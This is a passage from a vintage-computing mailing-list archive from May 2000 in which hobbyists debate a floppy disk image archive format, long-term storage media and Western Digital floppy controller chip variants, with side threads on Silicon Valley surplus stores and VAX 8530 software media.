all and > the EPSON PX-8 was a commercial example of that. > > Allison > The STANDARD does not apply to non-standard systems. By definition, systems equipped with or capable of only 5-1/4" drives as shipped were NON-standard. The OS didn't care, but the distribution standard was an important consideration, since, until the software houses started shipping diskettes for TRS 80's and Kaypro's, the disk size/format was quite a consideration. Eventually, the Kaypro became a de-facto standard in the 5-1/4" world, to wit, the "phantom" drive on the AMPRO LB, in its very first incarnation, which is the only one of which I have examples, already accomodated KAYPRO format as their default "phantom" format. Radio Shack was, of course, stuck with FM until their second generation. From rich at alcor.concordia.ca Tue May 30 18:57:34 2000 From: rich at alcor.concordia.ca (Rich Lafferty) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME>; from richard@idcomm.com on Tue, May 30, 2000 at 05:19:45PM -0600 References: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME> Message-ID: <20000530195734.B21255@alcor.concordia.ca> On Tue, May 30, 2000 at 05:19:45PM -0600, Richard Erlacher (richard@idcomm.com) wrote: > You don't get it, do you? > > I'm saying it's probably a bad idea to use floppy media. This is because > it's mechanical, (2) because it's organic, and (3) because it is soon to > become obsolete. Aside from problems of data format incompatibility, you > have to deal with the mechanism to be able to read/write the archive's > constituent elements. [snip] > If you're serious about creating an archive. It needs to be permanent, so > it's essentially requisite that the media be write-once. I haven't been following this thread, but I happened to notice this post. I happened to be speaking to the chief archivist here at the University today about electronic archiving, and the one thing that came across in the conversation is that the bottom line regarding digital archives is that archiving has become a continuous process. >From her perspective, it was simply that one could no longer store away paper and expect it to last hundreds of years; relevant to this discussion is that the new approach to archiving revolves around not only choosing media that will both last and not-be-obsolete for N years, but also arranging the process such that in N minus epsilon years, the media choice is re-evaluated and the archives rewritten in the new media, and repeat. Permanent digital archives, in other words, are the holy grail of the archivist's realm. :-) Of course, IANAArchivist. -Rich -- ------------------------------ Rich Lafferty --------------------------- Sysadmin/Programmer, Instructional and Information Technology Services Concordia University, Montreal, QC (514) 848-7625 ------------------------- rich@alcor.concordia.ca ---------------------- From ard at p850ug1.demon.co.uk Tue May 30 18:52:50 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME> from "Richard Erlacher" at May 30, 0 05:19:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2471 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/47d4aa8c/attachment.ksh From richard at idcomm.com Tue May 30 18:57:50 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: <006501bfca86$1c38dbe0$7964c0d0@ajp166> Message-ID: <008301bfca92$dd854d40$0400c0a8@EAHOME> The 'Shack model 1's had a 1771 and the model 3's had a 1793. These were nearly pin-compatible, both on a 40-pin footprint and required buffering to drive the cable. The 1770,1772, and 1773 are 28-pin parts that can drive the cable directly. Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 4:19 PM Subject: Re: Defining Disk Image Dump Standard > >>Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > >>(similar to 1770/72). Do you know of any systems in which it was used? > > > the 1770/1772 was the 1793+8229+glue on one chip. > > >Wasn't the 1773 a single-chip version of the 1793, or am I out in Left > > > The 1773 was the earlier single density controller. > > The 1793 was the later DD and SD controller in nearly the same pinout > and basic IO. > > >Field? The early Tandy controllers that required 12V were based on the > >1793, and weren't the later 5Vonly ones based on the 1773? > > > No. The tandy used the 1773 and was wired to provice the -5V and +12V > as needed but there were parts that didn't use the -5V (SMC 1773). > > The 1793 wanted +12 and +5 though there were 5volty only versions later on. > > Allison > From richard at idcomm.com Tue May 30 19:00:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: <006601bfca86$1cfaf360$7964c0d0@ajp166> Message-ID: <008901bfca93$49185d40$0400c0a8@EAHOME> Yes! So why's Sellam Ismail wanting to mix OS and data elements? He's unhappy with the notion of putting only what you need on a diskette which holds what you want to archive. What good does CP/M OS material do him if he's using OS-8? Dick ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 4:24 PM Subject: Re: Defining Disk Image Dump Standard > >> The way you separate the operating system from the executables is by > never, > >> Never, NEVER, mixing them on the same medium, particularly if it's > intended > >> for dissemination. If the platforms are disparate, you certainly don't > need > > > >Ok, Mr. Wizard. Build a time machine, travel back in time, and urge all > >the various computer manufacturers to never, NEVER mix their OS with the > >rest of the program space on the disk. Fortunately, we are not trying to > >revise the reality of our world, but are merely trying to deal with what > >it has become, which is a much simpler procedure. > > > Done! the OS was never mixed with data on CPM disks until CPM3 and > CPM86. > > the system booted off OS specific tracks and DATA was never stored there > and SYSTEM was never stored on DATA tracks. This applies to CP/M > {1.3, 1.4, 2.0, 2.2} explicitly and many others as well. > > It makes little difference though. as then only reason is to make the boot > easier as the booter then doesn't have to know the file system to read > and launch the system which for cpm wasn't defined until boot completed > (as the system tables were part of the boot image). > > Allison > From ss at allegro.com Tue May 30 19:13:29 2000 From: ss at allegro.com (Stan Sieler) Date: Sun Feb 27 18:52:08 2005 Subject: A moment of silence... In-Reply-To: <"l03102811b55999074984(a)(091)24.24.232.57(093)*"@MHS> References: <200005302205.PAA27670@civic.hal.com> Message-ID: <3933F6B9.13779.1FF9029C@localhost> Re: > > Halted is still here, it was Haltek that went under. > >Dwight > Is HSC the place across the street from WSW and Fry's? > > Where was Haltek? Haltek is/was in Mountain View, off of Moffet & Terra Bella (?), near 101. Halted is in Sunnyvale (?), near Fry's / Costco / (old)NCA / (old) Weirdstuff Warehouse / Action Surplus. If you're coming "south" on Central Expressway, the first exit after Lawrence Expressway is right in front of the Halted building. Stan Sieler sieler@allegro.com www.allegro.com/sieler/wanted/index.html www.allegro.com/sieler From ard at p850ug1.demon.co.uk Tue May 30 19:10:44 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <200005302348.QAA28909@civic.hal.com> from "Dwight Elvey" at May 30, 0 04:48:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2761 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/7f4318d2/attachment.ksh From richard at idcomm.com Tue May 30 19:15:22 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <009101bfca95$50744c00$0400c0a8@EAHOME> In general, Western numbered their FDC's such, that their parts had odd numbers on the "normal" parts. The mainstream FM-only part was the 1771, which is what was in the RS Model 1 and which used +12 on one of its 40 pins. It had an inverted data bus. The 179x series was more fully developed, in that the 1791 was a 40-pin part using +12 but which was MFM-and-FM-capable, but required external data processing to apply precomp on writes and to extract clock from the raw data stream on reads. Like the 1771, it had an inverting data bus. Western also made a 179x member or two that had non-inverting data ports. These were the 1793 and 1797. These were like the 1791, and 1795, which had the inverting data port, but of which the 1795/97 was intended for use with two-sided drives. The 1793 and '97 had noninverted busses, while the 1791 and 1795 had inverted busses, and the '97 and '95 had a head-select provision not provided internally in the other (lower) numbers. The 1770,1772, and 1773 are/were 28-pin parts, using 5-volts only, and equipped with heavy duty drivers capable of driving the FDD cable, while the 40-pin parts required external buffering. The 1770/72/73 had internal data/clock separators and write precompensation logic. They were clearly intended for use only with 5-1/4" drives, as they had provision for the motor-on signal, with the exception of the 1773, which differs slightly. There was also a 1774 that I read about at one time, intended for use with M^2FM which didn't make it to market. I've never seen one, however. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 30, 2000 5:10 PM Subject: Re: Defining Disk Image Dump Standard > > > > Rumor has it that Richard Erlacher may have mentioned these words: > > > > >Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > > >(similar to 1770/72). Do you know of any systems in which it was used? > > > > Wasn't the 1773 a single-chip version of the 1793, or am I out in Left > > Basically, yes. I know I have the data sheets in my Western Digital > Databook (along with the 1770, 1771, 1772, 179x, 279x, and some hard > disk controller chipsets). But I'm not going to go and find said book > unless you need things like pinouts, etc. > > > Field? The early Tandy controllers that required 12V were based on the > > 1793, and weren't the later 5Vonly ones based on the 1773? > > For the CoCo, yes. The older one had a 1793, and needed 12V (which means > it didn't work on a CoCo 2 or 3 without a hardware mod to the computer, > or the use of a multipak interface). The later ones used the 1773 and > only needed +5V. > > But other TRS-80s used other controllers : > > Model 1 : 1771 (together with a 1791 if you had a double density mod) > Model 2 : 1791 (I think -- it was a 179x series) > Model 3/4 : 1793 > > -tony > From ard at p850ug1.demon.co.uk Tue May 30 19:12:35 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <008301bfca92$dd854d40$0400c0a8@EAHOME> from "Richard Erlacher" at May 30, 0 05:57:50 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 417 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000531/fcd6fdbc/attachment.ksh From richard at idcomm.com Tue May 30 19:20:35 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: <006401bfca86$1b08c050$7964c0d0@ajp166> Message-ID: <009901bfca96$0c9a30c0$0400c0a8@EAHOME> See comments embedded below, plz. ----- Original Message ----- From: allisonp To: Sent: Tuesday, May 30, 2000 4:07 PM Subject: Re: Defining Disk Image Dump Standard > >I always figured the reason for the restriction was dumb boot PROMs, which > >only know how to do programmed I/O to the FDC, and 8" DD comes in too fast > >for typical 8-bit CPUs of the time to handle with PIO. If the boot PROM on > >a particular system is smart enough to set up DMA, no need to require SD. > > > it's an artifact of how people though the DDmedia was speced by IBM and > a lack of knowledge of CP/M boot as everyone just followed the book blindly. > > Not all required {or even had it!} DMA to do DD, CCS didn't. That's proof that DMA was unnecessary! A DMAC cost quite a bit back then. > I'd add that DMA was mostly uncommon save for the more refined or robust > systems. > > Allison > > I don't see how adding an unnecessary part makes a system more robust or refined. It was quite straightforward to write and run FDC handlers that used programmed I/O quite adquately and since CP/M and other simple OS' seldom did anything useful with the small segments of saved time, (12 u-sec's per byte) it didn't help. Some other devices might have justified DMA, but floppy drives actually didn't unless they were used with an 8080 or other slow processor. > From elvey at hal.com Tue May 30 19:24:42 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: <200005310024.RAA29348@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > > > environmental conditions. OTP EPROMS are pretty stabile, however, and > > they're VERY small. > > Rubbish!. > > I am _not_ going to trust my data to charges stored on the floating gates > of some chip. No way. Even the manufacturers quote data lifetimes of a > few 10s of years at most. That is not archival storage. Nor are EPROMs > particularly robust -- they can be damaged by static, head, misapplied > voltages, etc. Hi I like soldered diode arrays. Even if one diode burns out, one takes a polaroid picture to use as a reference and solders in another diode. Overlapping of the polaroid with a negative of the fixed array confirms correct repair............. Oops, sorry, I got carried away. I agree with Tony that most magnetic media is at least as reliable if stored in the right environment than a charge on a floating gate. This does go back to what I said about using multiple types of media. It is necessary to use more than one type. The types should be as varied as current technology would allow. Also, the multiple copies on any particular media should also be done on different manufactures of that same media type. I was just, barely, able to recover some original data from distribution disk that were for a Kaypro II because the adhesive used to hold the pads in the disk, bled through the pads and got on the disk. This most likely was a problem with only one manufacture. Dwight From richard at idcomm.com Tue May 30 19:26:23 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: <004b01bfca8d$8b9d3b00$0400c0a8@EAHOME> <20000530195734.B21255@alcor.concordia.ca> Message-ID: <00ab01bfca96$da218c00$0400c0a8@EAHOME> Unfortunately, too few people have had floppy "archives" for over 20 years and seen what they have left. Dick ----- Original Message ----- From: Rich Lafferty To: Sent: Tuesday, May 30, 2000 5:57 PM Subject: Re: Defining Disk Image Dump Standard > On Tue, May 30, 2000 at 05:19:45PM -0600, Richard Erlacher (richard@idcomm.com) wrote: > > You don't get it, do you? > > > > I'm saying it's probably a bad idea to use floppy media. This is because > > it's mechanical, (2) because it's organic, and (3) because it is soon to > > become obsolete. Aside from problems of data format incompatibility, you > > have to deal with the mechanism to be able to read/write the archive's > > constituent elements. > > [snip] > > > If you're serious about creating an archive. It needs to be permanent, so > > it's essentially requisite that the media be write-once. > > I haven't been following this thread, but I happened to notice this > post. I happened to be speaking to the chief archivist here at the > University today about electronic archiving, and the one thing that > came across in the conversation is that the bottom line regarding > digital archives is that archiving has become a continuous process. > >From her perspective, it was simply that one could no longer store > away paper and expect it to last hundreds of years; relevant to this > discussion is that the new approach to archiving revolves around not > only choosing media that will both last and not-be-obsolete for N > years, but also arranging the process such that in N minus epsilon > years, the media choice is re-evaluated and the archives rewritten in > the new media, and repeat. > > Permanent digital archives, in other words, are the holy grail of the > archivist's realm. :-) > > Of course, IANAArchivist. > > -Rich > > > -- > ------------------------------ Rich Lafferty --------------------------- > Sysadmin/Programmer, Instructional and Information Technology Services > Concordia University, Montreal, QC (514) 848-7625 > ------------------------- rich@alcor.concordia.ca ---------------------- > From richard at idcomm.com Tue May 30 19:28:42 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <00b101bfca97$2cfe50c0$0400c0a8@EAHOME> You're right, you can DESTROY data recorded on an EPROM. You have to set about to do that, however, and I know few archives where that's likely to be tolerated. If you put floppy diskettes on the shelf and wait 20 years, you'll see what's left of your archive. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 30, 2000 5:52 PM Subject: Re: Defining Disk Image Dump Standard > > > > You don't get it, do you? > > No, _You_ don't get it. > > We're not talking about making an archive _on_ floppy disks. We're > talking about defining a format for a file to be used to store the > contents of floppy disks. > > This file can be stored on just about anything. Magnetic disks, magnetic > tape, multiple reels of paper tape, EPROMs, Bubble memory, you name it. > > The idea is that floppy disks (that's real floppy disks) from classic > computers (which, like it or not are what this list is about :-)) can > then be archived on something a little easier to preserve and a little > easier to transfer around the world than the physical disks. > > > environmental conditions. OTP EPROMS are pretty stabile, however, and > > they're VERY small. > > Rubbish!. > > I am _not_ going to trust my data to charges stored on the floating gates > of some chip. No way. Even the manufacturers quote data lifetimes of a > few 10s of years at most. That is not archival storage. Nor are EPROMs > particularly robust -- they can be damaged by static, head, misapplied > voltages, etc. > > I back up EPROMs to other media, not the reverse... > > > > > > If you're serious about creating an archive. It needs to be permanent, so > > it's essentially requisite that the media be write-once. I'd say you're > > Actually, OTP EPROMs are not write-once. You can write them as many times > as you like. The only thing is you can only change a '1' into a '0', and > never the reverse. So you could 'erase' the archive (simply fill the > EPROM with 0s). Or corrupt it (flip a few odd 1's to 0's). > > FWIW, the Psion Organiser (an early UK-made PDA) had plug-in EPROM > cartridges. These were used as file storage devices. A file could be > 'deleted' by setting a bit in its header to 0, whereupon the system would > no longer find the file, but obviously it would still take up space on > the EPROM. The Datapak (EPROM module) could be 'reformatted' in a special > formatter, which was nothing more than a UV-eraser. > > > better off with an OTP EPROM. Hardware to create them is dirt-simple to > > create, eraseable/rewritable equivalents are readily available, and even if > > the OTP's (very inexpensive, by the way) become scarce, there will still be > > rewritables available which can be write protected by removing the VPP or > > program pin. Use those and you'll have a real archive. What's more, there > > Incidentally, a lot of EPROMs don't like having Vpp floating, they want > it tied to Vcc (normally). Ditto for PGM/ > > -tony > From allain at panix.com Tue May 30 19:32:42 2000 From: allain at panix.com (John Allain) Date: Sun Feb 27 18:52:09 2005 Subject: A moment of silence... References: <000001bfca6f$e1450240$0e0301ac@dba00802.databaseamerica.com> Message-ID: <00b501bfca97$bc5c47e0$8a0101ac@ibm23xhr06> > At the end of last month, Haltek Electronics, Mountain View, > CA closed their doors... Just read this. > Whatever else happens, I pray that other surplus stores, such > as Weird Stuff and Sharon Industries, aren't next on the chopping > block. -- Bruce Lane Please don't hesitate to post If you hear rumors about any of these threatning to close: Alltronics Computer Literacy Halted Wierd Stuff (other like Surplus) Fry's (Yes, even Fry's) News of such a thing could trigger a long put-off return visit. John A. SValley res. 1987-1990. From elvey at hal.com Tue May 30 19:37:16 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: <200005310037.RAA29540@civic.hal.com> ard@p850ug1.demon.co.uk (Tony Duell) wrote: > > I don't think that we should even try to save data in the > > original format as long as there is a method such as I > > Well, there's no reason not to. And a lot of us here use the old > computers that _need_ the data on the original media. You can't exactly > boot a home micro from an image file on a unix box, you know :-) > [....] Hi And why not? I brought up a CPM machine from ground zero with just such a method. It wasn't easy but I just think it is wise to include these types of operations in the archive. I don't think in these cases that keeping original media is as good an idea. When the last original machine fails with the blowing of the last SN7400, do you expect to quickly transfer the data to a new media? The software it self has future value, even without the original machine. We should be looking at long term methods of preserving as much as we can. As you stated, things like schematics are of that type but I think what Sam is worried about is that we are loosing software faster than other elements of computers because, like the old metal toys, people seem to place less value on that information and it is destroyed more often. Dwight From richard at idcomm.com Tue May 30 19:39:31 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <00c301bfca98$b37e45a0$0400c0a8@EAHOME> If you wanted to preserve the sense of the data bus, you'd use a 1791, which also has the inverted data bus. The 1791 and 1793 are otherwise identical. It's pretty straightforward upgrading a 1771 with a 1791, with the exception of the write precomp and clock/data separation logic, which has to be upgraded. I find the SMC9229 a fine solution. It also muxes the clock to the appropriate harmonic of the 179x clock. Dick ----- Original Message ----- From: Tony Duell To: Sent: Tuesday, May 30, 2000 6:12 PM Subject: Re: Defining Disk Image Dump Standard > > > > The 'Shack model 1's had a 1771 and the model 3's had a 1793. These were > > nearly pin-compatible, both on a 40-pin footprint and required buffering to > > One big pin-compatibility difference is that the 1771 had active-low data > pins, and the 1793 had active-high data pins. The 1791, with active-low > data pins, was closer to the 1771, therefore, and was what was used in > the Tandy double density mod. > > -tony > From paulrsm at ameritech.net Tue May 30 19:26:02 2000 From: paulrsm at ameritech.net (Paul R. Santa-Maria) Date: Sun Feb 27 18:52:09 2005 Subject: Kim-1 analog portions Message-ID: <20000531004403.CMIH2991.mailhost.kal.ameritech.net@paulrsm> ---------- > From: Ryan K. Brooks > To: classiccmp@classiccmp.org > Subject: Kim-1 analog portions > Date: Tuesday, May 30, 2000 04:41 PM > > There's a lot of analog stuff (mostly large caps from what I can tell) > in the lower left. Is this power supply stuff? Tape stuff? I've > got a Sym-1, and doesn't have nearly as much analog on it. At www.6502.org there are links to KIM (and SYM and AIM) pages where you can find photographs and schematics. I am sure you can figure out exactly what that stuff does. (Don't ask me, I'm a software guy not a hardware guy.) Paul R. Santa-Maria Ann Arbor, Michigan USA paulrsm@ameritech.net From pechter at pechter.dyndns.org Tue May 30 19:48:06 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:52:09 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: from Mike Ford at "May 30, 2000 01:52:23 pm" Message-ID: <200005310048.UAA08643@bg-tc-ppp940.monmouth.com> > >> > >Well, the rule depends. If it's a commercial dumpster on > >private property you're tresspassing and stealing if it's in > >the dumpster. At the curb it's on public property and avaiable. > > If it didn't have value you wouldn't be taking it now would you? Here in > the peoples republic of California, Orange division once it hits the curb > is the legal property of the city, which gets a check from the waste > company based on aluminum cans etc. Scavenging is illegal, and they even > send out magnets with a hotline number to call for reporting it. > > OTOH I had a little dumpster diving in mind for this afternoon. Gee -- I guess NJ is a bit better. Anyone want some 386 DX and SX motherboards for the cost of shipping. I'm keeping the cases to house 486's. 'Got a couple of 386SX's and a 386DX20 with 387DX and 4mb of 1meg DIPPs. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From paulrsm at ameritech.net Tue May 30 19:56:30 2000 From: paulrsm at ameritech.net (Paul R. Santa-Maria) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard Message-ID: <20000531005849.CPGO2991.mailhost.kal.ameritech.net@paulrsm> ---------- > From: Richard Erlacher > To: classiccmp@classiccmp.org > Subject: Re: Defining Disk Image Dump Standard > Date: Tuesday, May 30, 2000 08:28 PM > > If you put floppy diskettes on the shelf and wait 20 years, you'll see > what's left of your archive. This weekend I backed up a set of factory-original Apple II CP/M disks for MicroPro applications (Wordstar, Mailmerge, Spellstar, Datastar, Reportstar, Calcstar, etc). The disks were dated 1979-1982 and there were no errors reading them. I copied them twice: once to another floppy, and once to the Apple II disk archive format (ShrinkIt) on my hard drive. Twenty years is not too long if you use single-sided single density diskettes that cost $10 each (in 1980 dollars!). I don't trust today's ten-cent double-sided high-density diskettes for any long term storage. Paul R. Santa-Maria Ann Arbor, Michigan USA paulrsm@ameritech.net From richard at idcomm.com Tue May 30 20:20:11 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard References: <20000531005849.CPGO2991.mailhost.kal.ameritech.net@paulrsm> Message-ID: <011001bfca9e$64136760$0400c0a8@EAHOME> As long term storage goes, I'm not hard-over on the OTP EPROM thing, but I do belive something other than FD's should be considered. Perhaps if the stuff were carefully catalogged and reduced to compressed format subsequently recorded on CD, that would be a decent archive. I've got 20+ year-old diskettes I still use without problems, but it's dry here in Denver. Where it's damp, or, worse, where humidity ranges over a wider range than here, floppies and mag-tape don't fare as well. Multisession CD might be the best choice, making it possible to add later versions to the same CD that holds the earlier ones. This is already-aged software, etc, though, isn't it? Dick ----- Original Message ----- From: Paul R. Santa-Maria To: Sent: Tuesday, May 30, 2000 6:56 PM Subject: Re: Defining Disk Image Dump Standard > ---------- > > From: Richard Erlacher > > To: classiccmp@classiccmp.org > > Subject: Re: Defining Disk Image Dump Standard > > Date: Tuesday, May 30, 2000 08:28 PM > > > > If you put floppy diskettes on the shelf and wait 20 years, you'll see > > what's left of your archive. > > This weekend I backed up a set of factory-original Apple II CP/M disks for > MicroPro applications (Wordstar, Mailmerge, Spellstar, Datastar, > Reportstar, Calcstar, etc). The disks were dated 1979-1982 and there were > no errors reading them. I copied them twice: once to another floppy, and > once to the Apple II disk archive format (ShrinkIt) on my hard drive. > Twenty years is not too long if you use single-sided single density > diskettes that cost $10 each (in 1980 dollars!). > > I don't trust today's ten-cent double-sided high-density diskettes for any > long term storage. > > Paul R. Santa-Maria > Ann Arbor, Michigan USA > paulrsm@ameritech.net > From allisonp at world.std.com Tue May 30 19:28:12 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard Message-ID: <009e01bfca9b$0be3bfc0$7964c0d0@ajp166> >If you're serious about creating an archive. It needs to be permanent, so >it's essentially requisite that the media be write-once. I'd say you're >better off with an OTP EPROM. Hardware to create them is dirt-simple to >create, eraseable/rewritable equivalents are readily available, and even if >the OTP's (very inexpensive, by the way) become scarce, there will still be >rewritables available which can be write protected by removing the VPP or >program pin. Use those and you'll have a real archive. What's more, there >are no mechanical components, nothing to rust, become misaligned, or wear >out. Your kidding? Right? Eproms, have a finite random failure rate and while better in some ways over time you still run the risk of total failure due to: Environment, humidity increases failure rate. Temperature Time Electrical stress. This does not include ESD and circuit mishandling. it still assumes compatable technology (try reading a ECL prom using TTL). Add to this the great number of devices needed to contain said archive your risking the boat in exactly the same way as CDrom or on shorter time spans magnetic media. All of this is seperate from the format that will assure recovery of the data. Myself I'd rather risk even floppies with their known weakness and use redundant recording and added error detection/correction. Even when applied to CDroms this is more viable. Most of all it matters not what you do, what you do it on! It does matter that sufficient data on what was done is available along with the archive to reconstruct not only the data but the systems that archived it (or can recover it!!!). Books work because they can be preserved and copied if they start to decompose and we teach the languges needed to read them. Reminds me of an old theological arguement of how many angles can dance on the head of a pin. Untill we have music, a pin and angles it's simply an exercise with a meaningless outcome to all but the faithful. Allison From allisonp at world.std.com Tue May 30 19:54:15 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard Message-ID: <009f01bfca9b$1130b690$7964c0d0@ajp166> >However, I've just thought of a better example : I once saw a card for an >Apple ][ containing a 1771 and associated components (and probably a >ROM). It linked to an external box containing 2 8" drives. The official >purpose was to allow an Apple with a Z80 Softcard to read standard SSSD >CP/M disks. But I am _sure_ it could have been used from Apple DOS given >the right software. > >Which means the archive format would have to allow for : > >Apple ][, 16 sector 5.25" GCR-encoded disk >and >Apple ][, 26 sector, 8", FM encoded disk. > >It may be a _very_ unusual format, but a proposed archive format should >be able to handle _anything_. In any case, I would think that 256 >sub-formats for each machine would be plenty, which means this adds _1 >byte_ to the archive size. Not really a problem IMHO. You also forget the trackstar apple][ board for PCxt systems that could use the DOS disks for storage via the PC hardware never minding it's direct interface. To make it work in the end you need some basic documentation and a rosetta stone to assure the results are valid. IE: what are you looking for, how to get it, and did you get that? My solution for myself... use the newest media the system can support or I can easily transfer bulk to. 3.5" floppies are OK. Then figure out what I'm saving. 300 copies of CP/Ms PIP for V2.2 are pointless as are ASM, and all the other common stuff. Also how many copies of worstar for ADM3 do I need? Reducing this is easier on physical storage too. Also using a system that can handle multiple formats or a common one via simple changes to reduce the possible medias used to one helps. In the end it's easy to work backward to say 8" CPM SSSD with an CCS bios if you have a system image, the CCS unique utilities, CPM std utilities, track layout and of couse a system that can write it all on a suitable floppy. this avoids the need to have a real CCS bootable disk as you can make as many as you need. Then again if you have a CCS system with a monitor rom you could down load the peices and use itself to write to disk as native. For example much of my archive is on AMPROLB. It is very copyable Z80 design and as is can format/accept/boot/copy a large number of formats: Both 5.25" and 3.5". My S100 system can bridge the 8" 5.25 and 3.5" rift making a very large number of formats possible in short order. Both system even can read/write dos compatable disks (if it's on the WC cdrom it's auto archived). So softsector is covered {with exceptions like Intel M2fm and RX02 mixed}. Hardsector and vendor unique at the extreme are more difficult, those include: NorthStar* (all) Apple TRS80 Heath DEC RX02 Intel MDS230 series DD controller and others as they did things that were very specific or unique to them and most common hardware is unable to reproduce it. this is where the challenge lies. Allison From wilson at dbit.dbit.com Tue May 30 21:08:11 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <00b101bfca97$2cfe50c0$0400c0a8@EAHOME>; from richard@idcomm.com on Tue, May 30, 2000 at 06:28:42PM -0600 References: <00b101bfca97$2cfe50c0$0400c0a8@EAHOME> Message-ID: <20000530220811.A18194@dbit.dbit.com> On Tue, May 30, 2000 at 06:28:42PM -0600, Richard Erlacher wrote: >If you put floppy diskettes on the shelf and wait 20 years, you'll see >what's left of your archive. [replying to:] >From: Tony Duell [...] >> We're not talking about making an archive _on_ floppy disks. We're >> talking about defining a format for a file to be used to store the >> contents of floppy disks. Oh for chrissake, did you even read Tony's post, which you thoughtfully quoted in its entirety to clog everyone's mailbox AS USUAL? This has been a long time coming -- Dick, welcome to my email filter. John Wilson D Bit From geoffrob at stmarks.pp.catholic.edu.au Tue May 30 21:15:44 2000 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 18:52:09 2005 Subject: Fw: VMS media availability for VAX 8530 Message-ID: <01e501bfcaa6$21b2a180$de2c67cb@stmarks.pp.catholic.edu.au> Following post from comp.sys.dec reposted to classic computers at request of originator. Anyone on the list that can help him? I have the Pro380 console and 5.25" media for an 8530 console, (and an 8530 - minus the console to vax cables) even VMS on 9 track, but I'm a bit far away... I initially thought this place was in Europe somewhere, but it seems it's actually in New York USA. I've mentioned the room heater effects of ECL based systems. ----- Original Message ----- From: "Derek Konigsberg" Newsgroups: comp.sys.dec Sent: Sunday, May 28, 2000 1:31 AM Subject: VMS media availability for VAX 8530 > Hello, > In the Electronics Club at RPI (Rensselaer Polytechnic Institute), > we've come across a number of old DEC machines. It all started with a > PDP-11/45, then we got a VAX 8530 that was being dumped. We also have > a VAXstation 4 (doesn't exist, but we have one, and it looks like a II > by the case design) and a VAXstation 3100. Anyways, the main problem > is the 8530. Our main RA82 hard drive doesn't spin up, and we can't > find the problem. We have other functional hard drives, but no means > of installing VMS on them. Basically, we need the tape for our TU81+ > tape drive (6250bpi, I think), and the 5-1/4" floppy disk to put in > the console to bootstrap the machine. Yes, for anyone who didn't > know, this machine requires a special "VAX Console" (no, it's not a > terminal) to tell the machine to power up and to download the > microcode. Anyways, right now the machine is an impressive metal > obstruction in the room until we get it operational. So, does anyone > have or know where we can find the right VMS media for this beast? > > P.S. Just wondering, but anyone know what thing thing sold for back in > '87 when it was new? > > Thanks, > Derek Konigsberg > RPI Electronics Club, President > konigd@rpi.edu > > From allisonp at world.std.com Tue May 30 20:27:09 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:09 2005 Subject: Defining Disk Image Dump Standard Message-ID: <00e401bfcaa0$7f940b50$7964c0d0@ajp166> >> No, they are not the same. the latter will do DD and the 1773 was single >> density. >> The 1773 was used on TRS80, Icom, and other early systems that were >> softsector. > > >I can assure you that a 1773 is capable of double density operation. I shuffled the 1771 with 1773. Oops, it's easy to do with WD numbering. Allison From elvey at hal.com Tue May 30 22:30:56 2000 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:52:09 2005 